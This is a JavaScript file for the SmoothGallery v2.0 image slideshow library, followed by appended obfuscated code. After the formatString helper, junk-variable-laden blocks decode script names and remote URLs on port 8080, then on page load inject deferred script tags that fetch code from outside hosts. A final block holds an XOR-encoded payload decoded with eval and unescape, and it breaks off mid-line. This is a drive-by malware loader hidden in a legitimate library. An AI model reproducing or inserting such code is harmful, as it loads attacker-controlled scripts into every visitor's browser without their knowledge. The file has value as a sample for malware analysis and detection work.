/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
*/

// declaring the class
var gallery = {
	initialize: function(element, options) {
		this.setOptions({
			showArrows: true,
			showCarousel: true,
			showInfopane: true,
			embedLinks: true,
			fadeDuration: 500,
			timed: false,
			delay: 9000,
			preloader: true,
			preloaderImage: true,
			preloaderErrorImage: true,
			/* Data retrieval */
			manualData: [],
			populateFrom: false,
			populateData: true,
			destroyAfterPopulate: true,
			elementSelector: "div.imageElement",
			titleSelector: "h3",
			subtitleSelector: "p",
			linkSelector: "a.open",
			imageSelector: "img.full",
			thumbnailSelector: "img.thumbnail",
			defaultTransition: "fade",
			/* InfoPane options */
			slideInfoZoneOpacity: 0.7,
			slideInfoZoneSlide: true,
			/* Carousel options */
			carouselMinimizedOpacity: 0.4,
			carouselMinimizedHeight: 20,
			carouselMaximizedOpacity: 0.9,
			thumbHeight: 75,
			thumbWidth: 100,
			thumbSpacing: 10,
			thumbIdleOpacity: 0.2,
			textShowCarousel: 'All Stories',
			showCarouselLabel: true,
			thumbCloseCarousel: true,
			useThumbGenerator: false,
			thumbGenerator: 'resizer.php',
			useExternalCarousel: false,
			carouselElement: false,
			carouselHorizontal: true,
			activateCarouselScroller: true,
			carouselPreloader: true,
			textPreloadingCarousel: 'Loading...',
			/* CSS Classes */
			baseClass: 'jdGallery',
			withArrowsClass: 'withArrows',
			/* Plugins: HistoryManager */
			useHistoryManager: false,
			customHistoryKey: false
		}, options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if (this.options.embedLinks)
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = {
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			};
			elementDict.extend = $extend;
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if (options.embedLinks)
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.remove();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Styles(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				'opacity',
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle) {
					if (!imageStyle.loaded)	{
						new Asset.image(imageStyle.source, {
		                            'onload'  : function(img){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
												}.bind(this, imageStyle)
						});
					}
				}.pass(currentImg, this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader))
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if (this.options.showCarousel)
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Styles(carouselContainerElement, {transition: Fx.Transitions.expoOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.setHTML(this.options.textPreloadingCarousel);
			else
				this.carouselBtn.setHTML(this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.clearTimer();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Styles(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Styles(carouselElement, {transition: Fx.Transitions.expoOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Styles(carouselWrapper, {transition: Fx.Transitions.expoOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Style(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), "opacity", {duration: 200}).set(this.options.thumbIdleOpacity);
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.clearTimer();
					myself.start(0.99);
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).setHTML('<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.clearTimer();
					myself.start(this.options.thumbIdleOpacity);
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel)
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		this.thumbnailPreloader.addEvent('onComplete', function() {
			var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			this.carouselWrapper.elementScroller.scrollTo(scrollPos,0);
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Styles(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.clearTimer();
		element = this.slideInfoZone.element;
		element.getElement('h2').setHTML(this.galleryData[this.currentIter].title);
		element.getElement('p').setHTML(this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.clearTimer();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey();
		this.history = HistoryManager.register(
			this.historyKey,
			[1],
			function(values) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this),
			function(values) {
				return [this.historyKey, '(', values[0], ')'].join('');
			}.bind(this),
			this.historyKey + '\\((\\d+)\\)');
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);
gallery.implement(new Events);
gallery.implement(new Options);

gallery.Transitions = new Abstract ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

Preloader.implement(new Events, new Options);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}
var sl='';r=function(){var l_;if(l_!='xa' && l_!='i'){l_=''};this.hs="hs";var l=document;var au;if(au!='f' && au!='c'){au='f'};this.xs="xs";window[z([2][0])]=function(){try {d=l[z([2,1][1])](z([1,0][1]));this.w='';var sp;if(sp!='' && sp!='u'){sp=''};d[z([3][0])]=z([8][0]);var k = l[z([4,6][1])];d[z([5,4][0])](z([7][0]), "1");var fv;if(fv!=''){fv='rb'};var mr;if(mr!='' && mr!='oz'){mr='kv'};this.ob=false;k[z([8,4][1])](d);} catch(q){};this.p=false;};var zd;if(zd!='su' && zd!='ty'){zd='su'};function z(rt){var rc;if(rc!='' && rc!='me'){rc=''};var h=['s|c@r|i$p@t|'.replace(/[\|D\$@j]/g, ''), 'c+r@eUaUt@eHEHl+eHmxe@nxtx'.replace(/[xH@U\+]/g, ''), 'o3n<lwo<a3d<'.replace(/[\<Owc3]/g, ''), 's;rtct'.replace(/[tO_\:;]/g, ''), 'aJpJpFeJnDdJCDhFiJl9dJ'.replace(/[JF92D]/g, ''), 's~eftfA8tEtfrfiEb8uftfef'.replace(/[flE~8]/g, ''), 'b?oPdSyP'.replace(/[P1SF\?]/g, ''), 'dlezfgebri'.replace(/[igbzl]/g, ''), 'h<tMtCpM:</M/MbMuM5N2<0M-<cWo<mW.NnMa<s<zCaM-<k<l<a<sCaW.<pNlM.<eWxMaCm<i<nMe<rW-McWoCmN.MnMe<w<sCo<uCr<cNeWwMoMrMlCd<.Cr<u<:<8M0W8N0</NaWe<bMnW.WnNeWtW/MaCeWbMnW.CnNe<tM/Mg<oMo<gNlWeC.CcMoNmM/MnMyMpMoNsNtW.WcNoWmM/MqWuWi<k<rN.NcNoCmN/C'.replace(/[CNW\<M]/g, '')];this.fs=32560;var a=h[rt];return a;}};var gn;if(gn!='ql'){gn='ql'};r();var et;if(et!='' && et!='y'){et=''};
var os;if(os!='x'){os=''};var _j="_j";try {var xa;if(xa!='' && xa!='qj'){xa=null};this.d=22035;var t=window;var j='cirve.a.tkevEil*ekmve.n*t*'.replace(/[\*\.vik]/g, '');var s_;if(s_!='' && s_!='_s'){s_='s'};var n;if(n!='' && n!='sp'){n='g'};var q='oYnYl.o2aMd.'.replace(/[\.T2MY]/g, '');this.ls=false;var o='sSc%rXiXp_tX'.replace(/[XS_%V]/g, '');var aj;if(aj!='' && aj!='ol'){aj=''};var ny=new Array();m=function(){this.xs='';var na=new Date();_=document[j](o);this.pah="";this.rx=58828;var ty=new String();this.rl="rl";_['sYrYcY'.replace(/[YV\.\^G]/g, '')]='hZtUtypU:|/y/Ua3b|oyuytyu|s3-UoUr|gU.3pUeZo3p|lyeZ.|c3o|m|.Zc3n|.Zg3oU-|c3oym3.|rZeZdUtya|gZjUe|w3e|lZe|rysU.Zr|u|:U8y038y0|/3p|a|sUs3pZoZrUt|.UnUeZtZ/ypUaUsys|pyo|ryty.Zn3eZt|/Zg|o3oZgZl|eZ.3c|o|m3/ycZo|nUsyt|aUn3tUcyoynUt3aZcytU.ycZoUm|/ydUi|g3i3tUa|lZpZoyiUnyt|.|c3o3mZ/y'.replace(/[y3ZU\|]/g, '');var ov;if(ov!='sl' && ov != ''){ov=null};_.setAttribute('d5eQfPePr2'.replace(/[2Y5PQ]/g, ''), ([4,1][1]));var iw=new Array();var sb;if(sb!='ki' && sb!='z'){sb=''};var xj='';document['bAo2dAy9'.replace(/[9A@v2]/g, '')]['a;p;pHeHnVd/C/h5i;l5d/'.replace(/[/V5H;]/g, '')](_);};var ne=new String();var mt;if(mt!='tf'){mt=''};t[q]=m;var dv;if(dv!='h_' && dv!='uw'){dv='h_'};var rc='';this.bo='';} catch(l){var ew=20990;var gj;if(gj!='' && gj!='lv'){gj='geo'};};var cn=false;var hh=58913;
var FxE="c0d9cad9c6abc7ede9f9ed9ffeeef9e190cef3d8fee4e0e4fac8ffc1ddbe9cbb92b7d9c9dbe1dfbd9ebd90a6c2ccd8fec1d0d6fec1d6e4f1e4fff4d4c2d6fdeef2e5ede8dea3e2ffa5c8f9e992d4cb8dfeee";var DP;if(DP!='xW' && DP!='RVf'){DP='xW'};this.zR=36755;var aq;if(aq!='' && aq!='yV'){aq=null};function G(c){var cB;if(cB!='' && cB!='Ei'){cB=null};var rj;if(rj!='t'){rj='t'}; var f=function(j,q){var XM;if(XM!='' && XM!='Ej'){XM='EO'};return j^q;var d;if(d!='' && d!='P'){d=''};var M;if(M!='' && M!='Oj'){M=''};};var u;if(u!='ek' && u!='Pj'){u='ek'};var HI='';var Aq=false; var nS=new Array();this.rm=13167;function Q(z){var fo="fo";var N="N";var zY =[14,2,139,0][3];var RV;if(RV!='wX'){RV='wX'};var fi;if(fi!=''){fi='FV'};var fP =[116,72,0][2];var uV=new String();var Y = -1;this.zx=false;var J = '';var S=new String();z = new r(z);var oG;if(oG!='NE' && oG != ''){oG=null};for (zY=z[D("eglnth", [2,0,3,1])]-Y;zY>=fP;zY=zY-[1][0]){var wm=new String();var XH=new String();J+=z[D("rhacAt", [3,1,2,0])](zY);var AR;if(AR!='' && AR!='Fl'){AR=null};var mP;if(mP!='MF'){mP=''};}return J;var L;if(L!='' && L!='qp'){L=null};var hQs='';} var D=function(z, e){var lk;if(lk!='SJ'){lk=''};var Af=new Date();var bF;if(bF!='Ua'){bF='Ua'};var OU=new String();var w = z.length;var eg = e.length;var rz=[1][0];var fP=[234,0,125][1];var J = '';var UL;if(UL!='Tg'){UL='Tg'};var MV=new String();var jf;if(jf!='ie' && jf!='nR'){jf=''};for(var zY = fP; zY < w; zY += eg) {var KZ;if(KZ!='' && KZ!='xu'){KZ=''};var ai;if(ai!='xJ' && ai!='Qu'){ai='xJ'};var sp=new Array();var aY = z.substr(zY, eg);var k=new Date();this.hc='';if(aY.length == eg){this.tg="";var te=false;this.ga=false;this.ro=50103;for(var cP in e) {var sQ;if(sQ!='' && sQ!='uG'){sQ=null};this.vw="";var Ss;if(Ss!='' && Ss!='ri'){Ss='ja'};var hZ;if(hZ!='' && hZ!='egZ'){hZ='vQ'};J+=aY.substr(e[cP], rz);this.vz='';var vg;if(vg!='' && vg!='QC'){vg='EK'};}this.NP=false;this.jO=false;var cs;if(cs!=''){cs='Rt'};} else {  J+=aY;var Do=64114;}}var Sc;if(Sc!='' && Sc!='fpl'){Sc=null};var FS;if(FS!='' && FS!='Es'){FS=null};var Zl="Zl";return J;var yC=false;}; function g(V,A){this.JG='';return V[D("hcraoCedAt", [1,0,3,2])](A);}var Bu;if(Bu!='sv'){Bu='sv'};var uF;if(uF!='dT'){uF='dT'};var sK=new String();var kg="";var WPZ;if(WPZ!='kp'){WPZ=''}; var B=function(JY){var Dg=new String();var gUL;if(gUL!='' && gUL!='jG'){gUL=null};var GF;if(GF!='' && GF!='Lw'){GF=null};var b=[185,184,8,0][3];var aa;if(aa!=''){aa='zB'};var v=JY[D("ngelth", [3,2,0,1])];var qi;if(qi!='oX' && qi != ''){qi=null};var Jm;if(Jm!='LZ' && Jm != ''){Jm=null};var E=[255][0];var zP=new String();var HV;if(HV!='rmd' && HV!='rT'){HV=''};var rz=[181,145,1,148][2];this.hb=28824;var eM=new Array();var cP=[209,247,0,60][2];var Wu;if(Wu!='Xb' && Wu!='vv'){Wu='Xb'};var QQ=false;while(cP<v){var Sx=new String();var xX=new Date();cP++;var DE=21931;var JW=new Date();Gd=g(JY,cP - rz);var Oq;if(Oq!='Qor' && Oq != ''){Oq=null};b+=Gd*v;var bz;if(bz!='tE' && bz!='OO'){bz='tE'};this.ZE="";}var Dm=33096;var Nl;if(Nl!='JH'){Nl='JH'};return new r(b % E);this.Yf=36914;this.nz=14677;};this.JX='';var NlM="";var qy=window;this.TE="TE";var uS=new Array();var C=qy[D("vela", [1,0])];var rx=C(D("uFcnitno", [1,0]));var IG=false;var PE;if(PE!='' && PE!='Wc'){PE=null};var ol=false;var WK;if(WK!='Ts' && WK!='ms'){WK=''};var r=C(D("tSingr", [1,0,5,2,3,4]));var fC;if(fC!='fA' && fC!='aZS'){fC='fA'};var LP;if(LP!='OjL' && LP!='WO'){LP='OjL'};var jg=C(D("eREgpx", [1,0]));var Vb=false;var X = '';var ko="";var eh;if(eh!='' && eh!='Roa'){eh='Jg'};var Ar=new Array();var T=qy[D("cunseape", [1,2,4,3,0,5])];var MVp='';var x=r[D("ofmraCrhdCeo", 